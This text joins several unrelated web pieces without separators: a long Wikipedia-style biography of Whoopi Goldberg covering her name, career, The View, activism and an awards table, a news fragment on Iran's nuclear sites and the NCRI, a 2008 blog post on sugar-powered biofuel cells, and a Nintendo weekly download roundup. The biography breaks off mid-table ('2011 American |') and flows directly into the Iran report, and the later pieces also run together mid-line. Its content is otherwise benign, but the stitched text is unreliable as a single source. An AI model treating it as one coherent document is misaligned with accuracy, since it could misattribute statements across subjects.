She has stated that her stage forename ("Whoopi") was taken from a whoopee cushion; "When you're performing on stage, you never really have time to go into the bathroom and close the door. So if you get a little gassy, you've got to let it go. So people used to say to me, 'You're like a whoopee cushion.' And that's where the name came from."[13] She said in 2011, "My mother did not name me Whoopi, but Goldberg is my name, it's part of my family, part of my heritage. Just like being black."[14] Henry Louis Gates Jr., in his book In Search of Our Roots: How 19 Extraordinary African Americans Reclaimed Their Past, found that all of Goldberg's traceable ancestors were African Americans, that she has no known German or Jewish ancestry, and that none of her ancestors were named Goldberg.[9] Results of a DNA test, revealed in the 2006 PBS documentary African American Lives, traced part of her ancestry to the Papel and Bayote people of modern-day Guinea-Bissau. Her admixture test indicates that she is of 92 percent sub-Saharan African origin and of 8 percent European origin.[15]
According to an anecdote told by Nichelle Nichols in Trekkies (1997), a young Goldberg was watching Star Trek, and upon seeing Nichols's character Uhura, exclaimed, "Momma! There's a black lady on television and she ain't no maid!"[16] This spawned lifelong fandom of Star Trek for Goldberg, who would eventually ask for and receive a recurring guest-starring role on Star Trek: The Next Generation.
In the 1970s, Goldberg relocated to Southern California before settling in Berkeley,[17] where she worked various odd jobs, including as a bank teller, a waitress at vegetarian restaurant, a mortuary cosmetologist, and a bricklayer.[18] There, she joined the avant-garde theater troupe, the Blake Street Hawkeyes,[18] and taught comedy and acting classes which were attended by Courtney Love.[19] Between 1979 and 1981, she lived in East Germany,[20][citation needed] working in a number of theater productions.[21]
Career [ edit ]
Early work [ edit ]
Goldberg trained under acting teacher Uta Hagen at the HB Studio[22] in New York City. She first appeared onscreen in Citizen: I'm Not Losing My Mind, I'm Giving It Away (1982), an avant-garde ensemble feature by San Francisco filmmaker William Farley. Goldberg created The Spook Show, a one-woman show composed of different character monologues in 1983. Director Mike Nichols offered to take the show to Broadway. The show was retitled Whoopi Goldberg for its Broadway incarnation, ran from October 24, 1984, to March 10, 1985, for a total of 156 performances;[23] the play was taped during this run and broadcast by HBO as Whoopi Goldberg: Direct from Broadway in 1985.
Goldberg's Broadway performance caught the eye of director Steven Spielberg, who cast her in the lead role of The Color Purple, based on the novel by Alice Walker. The Color Purple was released in late 1985 and was a critical and commercial success. It was nominated for 11 Academy Awards, including a nomination for Goldberg as Best Actress.[24]
1980s [ edit ]
Goldberg starred in Penny Marshall's directorial debut Jumpin' Jack Flash (1986) and began a relationship with David Claessen, a director of photography on the set; the couple married later that year. The film was a modest success, and during the next two years, three additional motion pictures featured Goldberg: Burglar (1987), Fatal Beauty (1987) and The Telephone (1988). Though these were not as successful as her prior motion pictures, Goldberg still garnered awards from the NAACP Image Awards. Goldberg and Claessen divorced after the poor box office performance of The Telephone, which Goldberg was under contract to star in. She tried unsuccessfully to sue the producers of the film. Clara's Heart did poorly at the box office, though her own performance was critically acclaimed. As the 1980s concluded, she participated in the numerous HBO specials of Comic Relief with fellow comedians Robin Williams and Billy Crystal.[citation needed]
1990s [ edit ]
Goldberg in 1996
In January 1990, Goldberg starred with Jean Stapleton in the situation comedy Bagdad Cafe. The sitcom ran for two seasons on CBS. Simultaneously, Goldberg starred in The Long Walk Home, portraying a woman in the civil rights movement. She played a psychic in the film Ghost (1990) and became the first black woman to win the Academy Award for Best Supporting Actress in nearly 50 years, and the second black woman to win an Academy Award for acting (the first being Hattie McDaniel, for Gone with the Wind in 1940). Premiere named her character Oda Mae Brown in its list of Top 100 best film characters.[25]
Goldberg starred in Soapdish (1991) and had a recurring role on Star Trek: The Next Generation as Guinan, which she would reprise in two Star Trek films. On May 29, 1992, Sister Act was released. The motion picture grossed well over US $200 million and Goldberg was nominated for a Golden Globe Award. Next, she starred in Sarafina!. During the next year, she hosted a late-night talk show titled The Whoopi Goldberg Show and starred in two more motion pictures: Made in America and Sister Act 2: Back in the Habit. From 1994 to 1995, Goldberg appeared in Corrina, Corrina, The Lion King (voice), The Pagemaster (voice), Boys on the Side and Moonlight and Valentino. Goldberg guest starred on Muppets Tonight in 1996. She became the first African-American woman to host the Academy Awards show in 1994,[26] and the first woman to solo host. She hosted the awards show again in 1996, 1999 and 2002.
Goldberg starred in four motion pictures in 1996: Bogus (with Gérard Depardieu and Haley Joel Osment), Eddie, The Associate (with Dianne Wiest), and Ghosts of Mississippi (with Alec Baldwin and James Woods). During the filming of Eddie, Goldberg began dating co-star Frank Langella, a relationship that lasted until early 2000. In October 1997, Goldberg and ghostwriter Daniel Paisner cowrote Book, a collection featuring insights and opinions.[27]
From 1998 to 2001, Goldberg took supporting roles in How Stella Got Her Groove Back with Angela Bassett, Girl, Interrupted with Winona Ryder and Angelina Jolie, Kingdom Come and Rat Race with an all-star ensemble cast. She starred in the ABC-TV versions of Cinderella, A Knight in Camelot and Call Me Claus. In 1998, she gained a new audience when she became the "Center Square" on Hollywood Squares, hosted by Tom Bergeron. She also served as executive producer, for which she was nominated for four Emmy Awards.[28] She left the series in 2002, and the "Center Square" was filled in with celebrities for the last two on-air seasons without Goldberg.
2000s [ edit ]
Goldberg hosted the documentary short, The Making of A Charlie Brown Christmas (2001). In 2003, Goldberg returned to television, starring in Whoopi, which was canceled after one season. On her 46th birthday, Goldberg was honored with a star on the Hollywood Walk of Fame. Goldberg also appeared alongside Samuel L. Jackson and Angela Bassett in the HBO documentary Unchained Memories (2003), narrating slave narratives. During the next two years, she became a spokeswoman for Slim Fast and produced two television series: Lifetime's original drama Strong Medicine that ran for six seasons and Whoopi's Littleburg, a Nickelodeon show for younger children. Goldberg made guest appearances on Everybody Hates Chris as an elderly character named Louise Clarkson.[clarification needed] In November and December 2005, Goldberg revived her one-woman show on Broadway at the Lyceum Theatre in honor of its 20th anniversary.[citation needed] She produced the Noggin sitcom Just for Kicks in early 2006.[29] From August 2006 to March 2008, Goldberg hosted Wake Up with Whoopi, a nationally syndicated morning radio talk and entertainment program.
In October 2007, Goldberg announced on the air that she would be retiring from acting because she is no longer sent scripts, saying, "You know, there's no room for the very talented Whoopi. There's no room right now in the marketplace of cinema".[30] On December 13, 2008, she guest starred on The Naked Brothers Band, a Nickelodeon rock- mockumentary television show. Before the episode premiered, on February 18, 2008, the band performed on The View and the band members were interviewed by Goldberg and Sherri Shepherd.[citation needed]
2010s [ edit ]
Goldberg had a recurring role on the television series Glee as Carmen Tibideaux, a renowned Broadway performer and opera singer and the newly appointed Dean of Vocal Performance and Song Interpretation at the fictional "NYADA" (New York Academy of the Dramatic Arts), a highly competitive performing arts college. The character appeared in six episodes over 3 seasons (2012–14).[29] In 2012, Goldberg guest starred as Jane Marsh, Sue Heck's guidance counselor on The Middle. She voiced the Magic Mirror on Disney XD's The 7D. 2014 she had a cameo role as Megan Fox's boss in the reboot of Teenage Mutant Ninja Turtles (2014) and portrayed herself in Chris Rock's Top Five.
In 2016, it was announced Goldberg would be developing a reality show called Strut, based on transgender models from Slay models in Los Angeles, which was founded by Cecilio Asuncion. Strut aired on Oxygen.[29]
The View [ edit ]
On September 4, 2007, Goldberg became the new moderator and co-host of The View, replacing Rosie O'Donnell,[31] who supported the choice. Goldberg's debut as moderator drew 3.4 million viewers, 1 million fewer than O'Donnell's debut ratings. However, after 2 weeks, The View was averaging 3.5 million total viewers under Goldberg, a 7 per cent increase from 3.3 million under O'Donnell the previous season.[32]
Goldberg has made controversial comments on the program. Her first appearance included statements taken by some to condone football player Michael Vick's dogfighting.[33][34] In 2009, she opined that Roman Polanski's rape of a thirteen-year-old in 1977[35][36] was not "rape-rape",[37][38] later clarified that she had intended to distinguish between statutory rape ("unlawful sexual intercourse with a minor") and forcible rape.[39] Goldberg was a staunch defender of Bill Cosby from the outset of his rape allegations, asserting he should be considered innocent until proven guilty, and questioning why Cosby had never been arrested or tried for them.[40][38] After learning that the statute of limitations on these allegations had expired and thus could not be tried, she called for Cosby to answer the allegations, and began advising women to come forward if they are raped.[41]
Other media appearances [ edit ]
Goldberg performed the role of Califia, the Queen of the Island of California, for a theater presentation called Golden Dreams at Disney California Adventure Park, the second gate at the Disneyland Resort, in 2000. The show, which explains the history of the Golden State (California), opened on February 8, 2001, with the rest of the park. Golden Dreams closed in September 2008 to make way for the upcoming Little Mermaid ride planned for DCA. In 2001, Goldberg co-hosted the 50th Anniversary of I Love Lucy.[42]
In July 2006, Goldberg became the main host of the Universal Studios Hollywood Backlot Tour, in which she appears multiple times in video clips shown to the guests on monitors placed on the trams.
She made a guest appearance on the situation comedy 30 Rock, in which she played herself. She is shown as endorsing her own workout video. In Season 4 of the sitcom, she counsels Tracy Jordan on winning the "EGOT", the coveted combination of Emmy, Grammy, Oscar, and Tony awards. Goldberg was involved in controversy in July 2004 when, at a fundraiser for John Kerry at Radio City Music Hall in New York, Goldberg made a sexual joke about President George W. Bush by waving a bottle of wine, pointing toward her pubic area and saying: "We should keep Bush where he belongs, and not in the White House." Slim-Fast found little humor in the comment made by Goldberg and dropped her from their then-current ad campaign.[43]
On July 14, 2008, Goldberg announced on The View that from July 29 to September 7, she would perform in the Broadway musical Xanadu. On November 13, 2008, Goldberg's birthday, she announced live on The View that she would be producing, along with Stage Entertainment, the premiere of Sister Act: The Musical at the London Palladium.
She gave a short message at the beginning of the Junior Eurovision Song Contest 2008 wishing all the participants good luck, and stressing the importance of UNICEF, the official charity of the Junior Eurovision Song Contest.[44] Since its launch in 2008, Goldberg has been a contributor for wowOwow.com, a new website for women to talk culture, politics, and gossip.[45]
Goldberg is an advocate for human rights, moderating a panel at the Alliance of Youth Movements Summit[46] on how social networks can be used to fight violent extremism[47] in 2008, and also moderating a panel at the UN in 2009[48] on human rights, children and armed conflict, terrorism, human rights, and reconciliation.
On December 18 through 20, 2009, Goldberg performed in the Candlelight Processional at Epcot in Walt Disney World. She was given a standing ovation during her final performance for her reading of the Christmas story and her tribute to the guest choirs performing in the show with her. She made a guest appearance in Michael Jackson's short film for the single "Liberian Girl", as well as an appearance on the seventh season of the cooking reality show Hell's Kitchen by Gordon Ramsay, as a special guest where she was served by the contestants. On January 14, 2010, Goldberg made a one-night-only appearance at the Minskoff Theatre to perform in the mega-hit musical The Lion King.[49] That same year, she attended the Life Ball in Austria.
Goldberg made her West End debut as the Mother Superior in a musical version of Sister Act for a limited engagement set for August 10–31, 2010,[50] but prematurely left the cast on August 27 to be with her family; her mother had suffered from a severe stroke.[51] However, she later returned to the cast for five performances.[52] The show closed on October 30, 2010.[53]
Entrepreneurship [ edit ]
Goldberg is co-founder of Whoopi & Maya, a company that makes medical cannabis products for women seeking relief from menstrual cramps.[54] Goldberg says she was inspired to go into business by "a lifetime of difficult periods and the fact that cannabis was literally the only thing that gave me relief".[55] The company was launched in April 2016.[55]
Activism [ edit ]
Ms. magazine Goldberg (lower right) on the Spring 2003 cover of
On April 1, 2010, Goldberg joined Cyndi Lauper in the launch of her Give a Damn campaign to bring a wider awareness of discrimination of the LGBT community. The campaign aims to bring straight people to ally with the gay, lesbian, bisexual, transgender community. Other names included in the campaign are Jason Mraz, Elton John, Judith Light, Cynthia Nixon, Kim Kardashian West, Clay Aiken, Sharon Osbourne and Kelly Osbourne.[56] Her high-profile support for LGBT rights and AIDS activism dates from the 1987 March on Washington, in which she participated.[57]
On an episode of The View that aired on May 9, 2012, Goldberg stated she is a member of the National Rifle Association.[58][59] Goldberg is on the Board of Selectors of Jefferson Awards for Public Service.[60]
Goldberg serves on the national council advisory board of the National Museum of American Illustration.[61]
Personal life [ edit ]
Goldberg has been married three times — in 1973 to Alvin Martin (divorced in 1979,[62][63] one daughter); on September 1, 1986 to cinematographer David Claessen (divorced in 1988);[63][64] and on October 1, 1994 to the union organizer Lyle Trachtenberg (divorced in 1995).[63]
She was romantically linked with actors Frank Langella,[65] Timothy Dalton, and Ted Danson,[66] who controversially appeared in blackface during her 1993 Friars Club roast. She has stated that she has no plans to marry again, commenting "Some people are not meant to be married and I am not meant to. I'm sure it is wonderful for lots of people."[63] In a 2011 interview with Piers Morgan, she explained that she never loved the men she married[67] and commented: "You have to really be committed to them. And I'm jus — I don't have that commitment. I'm committed to my family."[62]
When Goldberg was a teen she and first husband, Martin, had a daughter, Alexandrea Martin, who also became an actress and producer. Through her daughter, Goldberg has three grandchildren and one great-granddaughter.[68]
On August 29, 2010, Goldberg's mother, Emma Johnson, died after suffering a stroke.[69][70] She left London at the time, where she had been performing in Sister Act the Musical, but returned to perform on October 22, 2010. In 2015, Goldberg's brother Clyde died of a brain aneurysm.[71]
Goldberg has stated that she was a "high functioning" drug addict years ago, at one point being too terrified to even leave her bed to use the toilet.[72] She stated that she smoked marijuana before accepting the Best Supporting Actress award for Ghost in 1991.[73][74] Goldberg has dyslexia.[75]
Awards and honors [ edit ]
Goldberg is one of the few people to win an Emmy, a Grammy, an Oscar, and a Tony. She has been in over 150 films, and during a period in the 1990s, Whoopi was the highest-paid actress of all time. It was reported that Goldberg's salary for the film Sister Act 2: Back in the Habit (1993) was $7 to 12 million, the highest ever paid for an actress at the time.[76]
Goldberg has received two Academy Award nominations, for The Color Purple and Ghost, winning for Ghost. She is the first African American to have received Academy Award nominations for both Best Actress and Best Supporting Actress. She has received three Golden Globe nominations, winning two (Best Actress in 1986 for The Color Purple, and Best Supporting Actress in 1991 for Ghost). For Ghost, she also won a BAFTA Award for Best Actress in a Supporting Role in 1991.[77] In February 2002, Goldberg sent her Oscar statuette from Ghost to the Academy of Motion Picture Arts and Sciences to be cleaned and replated. During this time, the statuette was taken from its shipping container and later retrieved by the shipping company, UPS.[78]
She won a Grammy Award for Best Comedy Recording in 1985 for "Whoopi Goldberg: Direct from Broadway," becoming only the second woman at the time to receive the award, and the first African-American woman. Goldberg is one of only three women to receive that award.[79] She won a Tony Award in 2002 as a producer of the Broadway musical Thoroughly Modern Millie. She has received eight Daytime Emmy nominations, winning two. She has received nine Primetime Emmy nominations. In 2009, Goldberg won the Daytime Emmy Award for Outstanding Talk Show Host for her role on The View. She shared the award with her then co-hosts Joy Behar, Sherri Shepherd, Elisabeth Hasselbeck and Barbara Walters.
She is the recipient of the 1985 Drama Desk Award for Outstanding One-Person Show for her solo performance on Broadway. She has won three People's Choice Awards. She has been nominated for five American Comedy Awards with two wins (Funniest Supporting Actress in 1991 for Ghost and Funniest Actress in 1993 for Sister Act). In 2001, she won the Mark Twain Prize for American Humor.
Her humanitarian efforts include working for Comic Relief, having reunited with Billy Crystal and Robin Williams for the 20th Anniversary of Comic Relief.[80] In 1999, she received the Gay and Lesbian Alliance Against Defamation Vanguard Award for her continued work in supporting the gay and lesbian community, as well as the Women in Film Crystal Award for outstanding women who, through their endurance and the excellence of their work, have helped to expand the role of women within the entertainment industry.[81]
In 1990, Goldberg was officially named an honorary member of the Harlem Globetrotters exhibition basketball team by the members.[82] In July 2010, the Ride of Fame honored Goldberg with a double-decker tour bus in New York City for her life's achievements.[83] In 2017, Goldberg was named a Disney Legend for her contributions to the Walt Disney Company.[84]
Filmography [ edit ]
Discography [ edit ]
Theatre [ edit ]
Bibliography [ edit ]
Children's books [ edit ]
Goldberg, Whoopi (2006). Whoopi's Big Book of Manners. New York: Hyperion Books for Children. ISBN 0-7868-5295-X.
Goldberg, Whoopi (2008). Sugar Plum Ballerinas #1: Plum Fantastic. New York: Hyperion Books for Children. ISBN 1-4231-1173-7.
Goldberg, Whoopi (2009). Sugar Plum Ballerinas #2: Toeshoe Trouble. New York: Hyperion Books for Children. ISBN 1-4231-1913-4.
Goldberg, Whoopi (2010). Sugar Plum Ballerinas #3: Perfectly Prima. New York: Hyperion Books for Children. ISBN 1-4231-2054-X.
Goldberg, Whoopi (October 2010). Sugar Plum Ballerinas #4: Terrible Terrel. New York: Hyperion Books for Children. ISBN 1-4231-2082-5.
Goldberg, Whoopi (March 2011). Sugar Plum Ballerinas #5: CATastrophe. New York: Hyperion Books for Children. ISBN 1-4231-2083-3.
Goldberg, Whoopi (October 2012). Sugar Plum Ballerinas #6: Dancing Divas. Los Angeles: Little People Books. ISBN 1-4231-2084-1.
Goldberg, Whoopi (1992). Alice. New York: Bantam Books. ISBN 0-553-08990-0.
Goldberg, Whoopi (1997). Book. New York: R. Weisbach Books. ISBN 0-688-15252-X.
Goldberg, Whoopi (October 2010). Is It Just Me? Or Is It Nuts Out There?. New York: Hyperion. ISBN 1-4013-2384-7.
Goldberg, Whoopi (October 2015). Whoopi's Big Book of Relationships: If Someone Says "You Complete Me," RUN!. New York: Hachette. ISBN 978-0-316-30200-5.
Awards and nominations [ edit ]
Year Accolade Title Results 1985 Los Angeles Film Critics Association Award for Best Actress The Color Purple Nominated Los Angeles Film Critics Association Award, New Generation Award Nominated National Board of Review Award for Best Actress The Color Purple Won 1986 Academy Award for Best Actress Nominated Golden Globe Award for Best Lead Actress in a Motion Picture – Drama Won Grammy Award for Best Comedy Recording Whoopi Goldberg Original Broadway Show Record Won Primetime Emmy Award, Outstanding Guest Performer in a Drama Series Moonlighting Nominated 1987 American Comedy Award, Funniest Actress in a Motion PIcture Jumpin' Jack Flash Nominated 1988 Image Award, Outstanding Lead Actress in a Motion Picture The Color Purple Won Nickelodeon Kid's Choice Award, Favorite Movie Actress Fatal Beauty Won 1989 CableACE Award, Actress in a Comedy Series Whoopi Goldberg: Fontaine...Why Am I Straight Nominated Daytime Emmy Award, Outstanding Performance in a Children's Special CBS Schoolbreak Special Nominated Golden Raspberry Award, Worst Lead Actress The Telephone Nominated Grammy Award, Best Comedy Recording Fontaine: Why Am I Straight Nominated Nickelodeon Kid's Choice Award, Favorite Movie Actress The Telephone Won 1990 American Comedy Award, Funniest Female Performer in a Television Special Network, Cable or Syndication Comic Relief III Nominated Image Award, Outstanding Lead Actress in a Motion Picture Fatal Beauty Won Kansas City Film Critics Circle Award, Best Supporting Actress Ghost Won 1991 Academy Award for Best Supporting Actress Won American Comedy Award, Funniest Supporting Actress in a Motion Picture Won British Academy Film Award, Best Supporting Actress Won Primetime Emmy Award, Outstanding Guest Actress in a Comedy Series A Different World Nominated Dallas-Fort Worth Film Critics Association Award, Best Supporting Actress Ghost Won Daytime Emmy Award, Outstanding Performer in a Children's Series Captain Planet and the Planeteers Nominated Daytime Emmy Award, Outstanding Children's Special
(shared with Steve Binder, Andi Copley, Troy Miller, Rocco Urbisci, Barbara Allyn) Tales from the Whoop: Hot Rod Brown Class Clown Nominated Golden Globe Award, Best Supporting Actress in a Motion Picture Ghost Won Saturn Award, Best Supporting Actress Won Women in Film Crystal + Lucy Award, Humanitarian award Won 1992 Aftonbladet TV Prize Award, Best Foreign Television Personality – Female Captain Planet and the Planeteers Won Award Circuit Community Award, Best Lead Actress Sister Act Nominated Image Award, Outstanding Supporting Actress in a Motion Picture Ghost Won Image Award, Entertainer of the Year Won Nickelodeon Kid's Choice Award, Favorite Movie Actress Sister Act Won 1993 American Comedy Award, Funniest Actress in a Motion Picture Won American Comedy Award, Funniest Supporting Actress in a Motion Picture The Player Nominated Bravo Otto Award, Best Actress Won CableACE Award, Entertainment Host (shared with Billy Crystal & Robin Williams) Comic Reilef V Won Golden Globe Award, Best Lead Actress in a Motion Picture – Comedy or Musical Sister Act Nominated Hasty Pudding Theatricals Award, Woman of the Year Won Image Award, Outstanding Lead Actress in a Motion Picture The Long Walk Home Won MTV Movie, Best Female Performance Sister Act Nominated MTV Movie, Best Comedic Performance Nominated Nickelodeon Kid's Choice Award, Favorite Movie Actress Won People's Choice Award, Favorite Motion Picture Actress Won People's Choice Award, Favorite Comedy Motion Picture Actress Won ShoWest Convention Award, Female Star of the Year Won The Stinkers Bad Movie Award, Worst Actress Made in America Nominated 1994 Bravo Otto Award, Best Actress Won Primetime Emmy Award, Outstanding Individual Performance in a Variety or Music Program The 66th Annual Academy Awards Nominated Image Award, Outstanding Lead Actress in a Motion Picture Sister Act Won MTV Movie, Best Comedic Performance Sister Act 2: Back in the Habit Nominated Nickelodeon Kid's Choice Award, Favorite Movie Actress Won People's Choice Award, Favorite Comedy Motion Picture Actress Won 1995 American Comedy Award, Funniest Actress in a Motion Picture Corrina, Corrina Nominated Bravo Otto Award, Best Actress Nominated CableACE Award, Entertainment Host
(shared with Billy Crystal & Robin Williams) Comic Relief VI Nominated Image Award, Outstanding Supporting Actress in a Motion Picture Sarafina! Nominated People's Choice Award, Favorite Comedy Motion Picture Actress Won Saturn Award, Best Supporting Actress Star Trek: Generations Nominated 1996 Award Circuit Community Award, Best Cast Ensemble
(shared with Alec Baldwin, James Woods, Virginia Madsen, Craig T. Nelson, Lucas Black, William H. Macy, Susanna Thompson) Ghosts of Mississippi Nominated Primetime Emmy Award, Outstanding Individual Performance in a Variety or Music Program The 68th Annual Academy Awards Nominated Primetime Emmy Award, Outstanding Individual Performance in a Variety or Music Program
(shared with Robin Williams & Billy Crystal) Comic Relief VII Nominated Fanfestival Award, Best Actress Theodore Rex Won Image Award, Outstanding Lead Actress in a Motion Picture Boys on the Side Nominated Image Award, Outstanding Performance in an Animated/Live-Action/Dramatic Youth or Children's Series/Special Happily Ever After: Fairy Tales for Every Child Nominated People's Choice Award, Favorite Actress in a Comedy Motion Picture Won The Stinkers Bad Movie Award, Worst Actress Bogus
Eddie
Theodore Rex Won 1997 Golden Raspberry Award, Worst Actress Nominated Image Award, Outstanding Lead Actress in a Motion Picture Ghosts of Mississippi Nominated Image Award, Outstanding Performance in a Variety Series/Special The 68th Annual Academy Awards Nominated Nickelodeon Kid's Choice Award, Favorite Movie Actress Eddie Nominated Online Film & Television Association Award, Best Supporting Actress in a Motion Picture or Miniseries In the Gloaming Won The Stinkers Bad Movie Award, Lifetime Non-Achievement award – The Hall of Shame Nominated 1998 Image Award, Outstanding Lead Actress in a Television Movie or Miniseries Cinerella Nominated Online Film & Television Association Award, Best Supporting Actress in a Motion Picture or Miniseries Nominated 1999 Acapulco Black Film Festival Award, Best Actress How Stella Got Her Groove Back Nominated American Comedy Award, Funniest Supporting Actress in a Motion Picture Nominated American Comedy Award, Funniest Female Performer in a Television Special Network, Cable or Syndication Comic Relief VIII Nominated Daytime Emmy Award, Outstanding Audience Participation Show/Game Show (shared with Pat Tourk Lee, John Moffi, Steve Radosh, Susan Abramson) Hollywood Squares Nominated GLAAD Media Award, Vanguard award Won Image Award, Outstanding Supporting Actress in a Motion Picture How Stella Got Her Groove Back Won Image Award, Outstanding Supporting Actress in a Comedy Series The Nanny Nominated Online Film & Television Association Award, Best Host or Performer of a Variety, Musical, or Comedy Special The 71st Annual Academy Awards Won 2000 American Comedy Award, Funniest Female Performer in a Television Special Network, Cable or Syndication Nominated Daytime Emmy Award, Outstanding Game/Audience Participation Show
(shared with Pat Tourk Lee, John Moffitt, Steve Radosh, Susan Abramson) Hollywood Squares Nominated Santa Barbara International Film Festival Award, Ruby Award Alice in Wonderland
The Magical Legend of the Leprechauns
Get Bruce
The Deep End of the Ocean
Girl, Interrupted Won 2001 Daytime Emmy Award, Outstanding Game/Audience Participation Show
(shared with Pat Tourk Lee, John Moffitt, Steve Radosh, Susan Abramson) Hollywood Squares Nominated The Stinkers Bad Movie Award, Worst Supporting Actress Monkeybone
Rat Race Nominated TV Guide Award, Personality of the Year Nominated Walk of Fame, Star on the Walk of Fame – Motion Picture 6841 Hollywood, Blvd. Won Women in Film Crystal + Lucy Award, Crystal Award Won 2002 Daytime Emmy Award, Outstanding Game/Audience Participation Show
(shared with Pat Tourk Lee, John Moffitt, Steve Radosh, Susan Abramson) Hollywood Squares Nominated Daytime Emmy Award, Outstanding Special Class Special
(shared with Marc Juris, Jessica Falcon, Madison D. Lacy, Maia Harris) Beyond Tara: The Extraordinary Life of Hattie McDaniel Won Image Award, Outstanding Actress in a Motion Picture Kingdom Come Nominated Online Film & Television Association Award, Best Host or Performer of a Variety, Musical or Comedy Special The 74th Annual Academy Awards Nominated Tony Award for Best Musical Thoroughly Modern Millie Won US Comedy Art Festival Award, AFI Star award Won 2003 Gracie Allen Award, Producer
(shared with Tammy Ader, Jeremy R. Litman, Rick Alexander, Carla Kettner) Strong Medicine Won New York Women in Film & Television award, Muse award Won 2004 Black Reel Award, Television – Best Actress Good Fences Won Black Reel Award, Outstanding Television or Miniseries Film
(shared with Danny Glover) Nominated Image Award, Outstanding Actress in a Comedy Series Whoopi Nominated Image Award, Outstanding Actress in a Television Movie, Miniseries or Dramatic Special Good Fences Won 2005 Gold Derby Award, Variety Performer Whoopi: Back to Broadway – The 20th Anniversary Nominated Online Film & Television Association Award, Best Host or Performer of a Variety, Musical, or Comedy Special Nominated Primetime Emmy Award, Outstanding Individual Performance in a Variety or Music Program Nominated 2007 Image Award, Outstanding Supporting Actress in a Comedy Series Everybody Hates Chris Nominated 2008 Daytime Emmy Award, Outstanding Talk Show
(shared with Barbara Walters, Joy Behar, Elisabeth Hasselbeck, Sherri Shepherd) The View Nominated NAMIC Vision Award, Best Performance – Comedy Whoopi Goldberg: The Word According to Whoopi Won Online Film & Television Association Award, Best Host of a Talk or Service Show
(shared with Joy Behar, Elisabeth Hasselbeck, Sherri Shepherd, Barbara Walters) The View Nominated People's Choice Award, Favorite Funny Female Star Nominated TV Land Award, Favorite Character from the "Other Side" Ghost Nominated 2009 Primetime Emmy Award, Outstanding Special Class Programs
(shared with Glenn Weiss & Ricky Kirshner) The 62nd Annual Tony Awards Nominated Daytime Emmy Award, Outstanding Talk Show Host
(shared with Joy Behar, Elisabeth Hasselbeck, Sherri Shepherd, Barbara Walters) The View Won Online Film & Television Association Award, Best Host of a Talk or Service Show
(shared with Joy Behar, Elisabeth Hasselbeck, Sherri Shepherd, Barbara Walters) Nominated People's Choice Award, Favorite Funny Female Star Nominated 2010 Daytime Emmy Award, Outstanding Talk Show Host
(shared with Elisabeth Hasselbeck, Sherri Shepherd, Barbara Walters, Joy Behar) The View Nominated 2011 American |
have informed the International Atomic Energy Agency (IAEA) about all of our nuclear facilities, Iran’s top nuclear official Ali Akbar Salehi said.
The NCRI in 2002 exposed Iran’s uranium enrichment facility at Natanz and a heavy-water facility at Arak. But analysts believe the group, which opposes Iran’s clerical establishment, has a mixed track record and a clear political agenda.
The group had satellite photographs of the alleged newly discovered site, which it said was under a mountain near Qazvin, about 75 miles (120 km) west of Tehran, and was about 85 percent complete.
Uranium enrichment can produce fuel for nuclear power plants or, taken to a higher level, for atomic bombs. Tehran says its nuclear programme is aimed at generating power.
However, Iran’s record of secrecy has stoked suspicions, heightened by the February launch of higher-grade uranium enrichment of 20 percent fissile purity, bringing it closer to weapons-grade material.
In Vienna Britain’s envoy to the U.N. nuclear watchdog on Friday called Iran “uniquely obstructive” for rejecting some inspectors from the IAEA.
Ambassador Simon Smith also suggested his government would look into claims by the dissident group that it had evidence of a new secret underground nuclear site.
Iran said in November that it had plans to build 10 more nuclear sites.
(Additional reporting by Fredrik Dahl in Vienna)Future Electronics Could Be Powered by Sugar
October 8th, 2008 by Ariel Schwartz
Finally, scientists have come up with a way to combine my two favorite things: music and sugar. Japanese researchers report in the latest issue of Energy and Environmental Science that they have created a biofuel cell that uses enzymes to break down sugars. Four of the cells combined produce 100 milliwatts of power— enough to run an MP3 player with speakers or a remote-controlled car.
Each cell consists of an anode and cathode separated by a proton-conducting membrane. Sugar—or another renewable fuel— is oxidized at the nanode, where it generates electrons and protons. The electrons and protons then combine with oxygen at the cathode to form water.
The researchers amped up the cell’s energy output by using an electron transfer mediator to move electrons between the electrodes and enzymes.
The Japanese biofuel cell is the first to have an energy output high enough for practical applications, so hopefully it will unleash a flurry of interest in the field. And who knows—in the future, you may power even larger electronics with biofuel cells.
Photo Credit: RSC PublishingNintendo of America kicks off its 8-bit Summer campaign this week with new 3DS Virtual Console games, plus there's a new Wii Virtual Console game and some eShop games too.
3DS Virtual Console
The Legend of Zelda (NES, Nintendo, $4.99, 49 blocks) — This game surely needs no introduction. See where it all started for Link and co. with this 8-bit classic. Not sure it's for you? Read our The Legend of Zelda review for more.
NES Open Tournament Golf (NES, Nintendo, $4.99, 64 blocks) — 3DS already has plenty of golf games available but this old-school title wants to show it still has what it takes to rule the links with an iron. Find out if it does with our upcoming review.
eShop
Akari by Nikoli (HAMSTER, $4.99, 292 blocks) — The latest in a long line of puzzle games from master Nikoli, we'll have a review soon (which should also explain what the heck an akari is in the first place.)
Family Tennis 3D (Arc System Works, $6.99, 501 blocks) — A 3D companion to Family Tennis on WiiWare, this tennis title aims to have players of all skill levels enjoying themselves right away. We'll fire a review your way soon.
Virtual Console
2020 Super Baseball (Neo Geo, D4 Enterprise, 900pts) — Here's a surprise addition to the Wii VC, a futuristic baseball sim from way back in 1991. It's not the most famous of Neo Geo titles but we'll see if it's worth a look in our upcoming review.
3DS Weekend Sale
Sakura Samurai: Art of the Sword ($4.99 this weekend only, normally $6.99) — From 9 am Pacific time Friday to 9pm Pacific on Sunday you can grab this very good swordfighting game for $4.99 instead of $6.99. Read our Sakura Samurai: Art of the Sword review to see if it's for you.
DSiWare
3, 2, 1... Words Up! (EnjoyUp!, 200pts, 49 blocks) — With a title that combines numbers, letters and punctuation so expertly we can't wait to see what developer EnjoyUp! did with the gameplay. Review coming soon.
Topoloco (Abstraction Games, 500pts, 86 blocks) — Are you crazy for maps? Then this game is for you! A topography game is a new one on us; let's see if it's on course for greatness in our upcoming review.
3DS Demo
Heroes of Ruin — Online multiplayer with Square Enix's upcoming action adventure. Get a feel for the title with the free demo then read our Heroes of Ruin review to see if the full game is worth your money.
WiiWare
Let's Create! Pottery (Infinite Dreams, 500pts) — We've already had Let's Create! Pottery on DSiWare but this WiiWare instalment means you can share the clay-throwing action with the whole family on the big screen. We'll sculpt a review for you soon.
